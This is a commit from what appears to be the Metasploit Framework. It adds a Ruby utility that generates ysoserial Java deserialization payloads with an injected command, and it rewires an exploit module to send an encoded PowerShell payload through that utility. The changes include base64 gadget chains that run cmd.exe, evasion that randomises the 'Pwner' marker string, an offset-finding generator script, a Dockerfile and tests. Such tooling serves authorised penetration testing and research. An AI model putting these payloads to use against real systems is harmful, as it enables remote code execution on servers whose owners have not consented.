Land #11125, Import/generate `ysoserial` Java serialization objects

GSoC/Meterpreter_Web_Console
Wei Chen 2019-01-15 17:09:56 -06:00
commit 27d6fffdad
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
8 changed files with 413 additions and 46 deletions

File diff suppressed because one or more lines are too long

View File

@ -28,3 +28,6 @@ require 'msf/util/host'
# DBManager helpers
require 'msf/util/db_manager'
# Java deserialization payload generators
require 'msf/util/java_deserialization'

View File

@ -0,0 +1,66 @@
module Msf
module Util
require 'json'
# TODO:
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
class JavaDeserialization
PAYLOAD_FILENAME = "ysoserial_payloads.json"
def self.ysoserial_payload(payload_name, command=nil)
# Open the JSON file and parse it
begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path))
rescue Errno::ENOENT, JSON::ParserError
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
end
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = json[payload_name]
# Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets
case payload['status']
when 'unsupported'
# This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, 'ysoserial payload is unsupported'
when 'static'
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Rex::Text.decode_base64(payload['bytes'])
when 'dynamic'
raise ArgumentError, 'missing command parameter' if command.nil?
bytes = Rex::Text.decode_base64(payload['bytes'])
# Insert buffer
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[buffer_offset - 1] += command
# Overwrite length (multiple times, if necessary)
length_offsets = payload['lengthOffset']
length_offsets.each do |length_offset|
# Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[(length_offset-1)..length_offset].unpack('n').first
length += command.length.ord
length = [length].pack("n")
bytes[(length_offset-1)..length_offset] = length
end
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
return bytes
else
raise RuntimeError, 'Malformed JSON file'
end
end
end
end
end

View File

@ -97,7 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
data = set_payload
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
print_status "Sending serialized Java object (#{data.length} bytes)..."
res = send_request_cgi({
@ -106,49 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
'data' => data
})
end
def set_payload
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
# Recreation steps:
# wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
# java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
# dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
# dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
# dd bs=1 if=jsonss of=jsonss_end skip=3879
# for i in `ls jsonss_*`; do
# cat $i | base64 -w0 > $i.b64
# echo "$i=\"`cat $i.b64 `\""
# done
# NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")
jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"
# Generate Payload
cmd = gen_payload
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
tmp = tmp.to_s(16)
length_param = [tmp.rjust(4,'0')].pack("H*")
# Convert command length to binary (two bytes, big-endian)
tmp = cmd.length.to_s(16)
cmd_size = [tmp.rjust(4,'0')].pack("H*")
# Some assembly required
serialized_data = jsonss_start
serialized_data += length_param
serialized_data += jsonss_mid
serialized_data += cmd_size
serialized_data += cmd
serialized_data += jsonss_end
return serialized_data
end
def gen_payload
# Powershell payload
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
end
end

View File

@ -0,0 +1,80 @@
require 'rex'
require 'msf/util/java_deserialization'
RSpec.describe Msf::Util::JavaDeserialization do
let(:payload_name) do
'PAYLOAD_NAME'
end
let(:default_command) do
nil
end
describe '#ysoserial_payload' do
context 'when default payload name is changed' do
it 'raises a RuntimeError' do
payload_filename_constant = Msf::Util::JavaDeserialization.const_get(:PAYLOAD_FILENAME)
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, 'INVALID')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, payload_filename_constant)
end
end
context 'when default payload is not found' do
it 'raises a RuntimeError' do
allow(File).to receive(:join).and_return('INVALID')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
end
end
context 'when default payload is not JSON format' do
it 'raises a JSON::ParserError error' do
allow(File).to receive(:read).and_return('BAD DATA')
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(JSON::ParserError)
end
end
context 'when payload status is unsupported' do
it 'raises a unsupported error' do
json_data = %Q|{"BeanShell1":{"status":"unsupported","bytes":"AAAA"}}|
allow(File).to receive(:read).and_return(json_data)
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
end
end
context 'when payload status is static' do
let(:payload_name) do
'BeanShell1'
end
it 'returns a Base64 string' do
original_bytes = 'AAAA'
b64 = Rex::Text.encode_base64(original_bytes)
json_data = %Q|{"BeanShell1":{"status":"static","bytes":"#{b64}"}}|
allow(File).to receive(:read).and_return(json_data)
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
expect(p).to eq(original_bytes)
end
end
context 'when payload status is dynamic' do
let(:payload_name) do
'BeanShell1'
end
context 'when missing a command' do
it 'raises an argument error' do
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
end
end
context 'when a command is provided' do
it 'returns serialized data' do
default_command = 'id'
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
expect(p).to include('java.awt.event')
end
end
end
end
end

View File

@ -0,0 +1,32 @@
# A docker container to generate empty ysoserial payloads and metadata to allow for
# dynamically creating payloads within related projects, such as Metasploit
#
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11
#
# To run:
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json
#
# Note: There will be ruby gem errors. It's fine.
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project.
# You will see warnings, but we're doing our best. :-)
FROM ubuntu
RUN apt update && apt -y upgrade
# Dependencies: wget (to download ysoserial)
# openjdk-8-jre-headless (to execute ysoserial)
# make, gcc (to install the 'json' ruby gem)
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
# Download the latest ysoserial-modified
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
# Install gems: diff-lcs (to diff the ysoserial output)
# json (to print the scripts results in JSON)
# pry (to debug issues)
RUN gem install --silent diff-lcs json pry
COPY find_ysoserial_offsets.rb /
CMD ruby /find_ysoserial_offsets.rb

View File

@ -0,0 +1,224 @@
#!/usr/bin/env ruby
require 'diff-lcs'
require 'json'
require 'base64'
require 'open3'
YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
PAYLOAD_TEST_MIN_LENGTH = 4
PAYLOAD_TEST_MAX_LENGTH = 5
# ARGV parsing
if ARGV.include?("-h")
puts 'ysoserial object template generator'
puts
puts 'Usage:'
puts ' -h Help'
puts ' -d Debug mode (output offset information only)'
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
puts
abort
end
debug = ARGV.include?('-d')
ysoserial_modified = ARGV.include?('-m')
if ysoserial_modified
payload_type = ARGV[ARGV.find_index('-m')+1]
unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
STDERR.puts 'ERROR: Invalid payload type specified'
abort
end
end
def generate_payload(payload_name,search_string_length)
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
searchString = 'A' * search_string_length
# Build the command line with ysoserial parameters
if ysoserial_modified
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
else
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
end
payload = stdout
payload.force_encoding('binary')
if payload.length == 0 && stderr.length > 0
# Pipe errors out to the console
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
elsif stderr.include? 'java.lang.IllegalArgumentException'
#STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
return nil
elsif stderr.include? 'Error while generating or serializing payload'
#STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
return nil
elsif stdout == "\xac\xed\x00\x05\x70"
#STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
return nil
else
#STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
# Strip out the semi-randomized ysoserial string and trailing newline
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
return payload
end
end
def generate_payload_array(payload_name)
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
payload_array = []
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
payload = generate_payload(payload_name,i)
return nil if payload.nil?
payload_array[i] = payload
end
payload_array
end
def isLengthOffset?(current_byte, next_byte)
# If this byte has been changed, and is different by one, then it must be a length value
if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
if next_byte.element.ord - current_byte.element.ord == 1
return true
end
end
false
end
def isBufferOffset?(current_byte, next_byte)
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
return true
end
false
end
def diff(a,b)
return nil if a.nil? or b.nil?
diffs = []
obj = Diff::LCS.diff(a,b)
obj.each do |i|
i.each do |j|
diffs.push(j)
end
end
diffs
end
def get_payload_list
# Call ysoserial and return the list of payloads that can be generated
payloads = `java -jar ysoserial-original.jar 2>&1`
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
payloads = payloads.split("\n")
# Make sure the headers are intact, then skip over them
abort unless payloads[0] == 'Y SO SERIAL?'
payloads = payloads.drop(5)
payloadList = []
payloads.each do |line|
# Skip the header rows
next unless line.start_with? " "
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
end
payloadList
end
results = {}
payloadList = get_payload_list
payloadList.each do |payload|
STDERR.puts "Generating payloads for #{payload}..."
empty_payload = generate_payload(payload,0)
if empty_payload.nil?
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
results[payload]={"status": "unsupported"}
next
end
payload_array = generate_payload_array(payload)
length_offsets = []
buffer_offsets = []
# Comparing diffs of various payload lengths to find length and buffer offsets
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
# Compare this binary with the next one
diffs = diff(payload_array[i],payload_array[i+1])
break if diffs.nil?
# Iterate through each diff, searching for offsets of the length and the payload
(0..diffs.length-1).each do |j|
current_byte = diffs[j]
next_byte = diffs[j+1]
prevByte = diffs[j-1]
if j > 0
# Skip this if we compared these two bytes on the previous iteration
next if prevByte.position == current_byte.position
end
# Compare this byte and the following byte to identify length and buffer offsets
length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
end
end
if debug
for length_offset in length_offsets
STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
end
for buffer_offset in buffer_offsets
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
end
STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
end
payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
if buffer_offsets.length > 0
results[payload] = {
'status': 'dynamic',
'lengthOffset': length_offsets.uniq,
'bufferOffset': buffer_offsets.uniq,
'bytes': payloadBytes
}
else
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
results[payload] = {
'status': 'static',
'bytes': payloadBytes
}
end
end
payloadCount = {}
payloadCount['skipped'] = 0
payloadCount['static'] = 0
payloadCount['dynamic'] = 0
results.each do |k,v|
if v[:status] == 'unsupported'
payloadCount['skipped'] += 1
elsif v[:status] == 'static'
payloadCount['static'] += 1
elsif v[:status] == 'dynamic'
payloadCount['dynamic'] += 1
end
end
unless debug
puts JSON.generate(results)
end
STDERR.puts "DONE! Successfully generated #{payloadCount['static']} static payloads and #{payloadCount['dynamic']} dynamic payloads. Skipped #{payloadCount['skipped']} unsupported payloads."

View File

@ -0,0 +1,5 @@
#!/bin/sh
docker build -t ysoserial-payloads . && \
docker run -i ysoserial-payloads > ysoserial_payloads.json && \
mv ysoserial_payloads.json ../../../data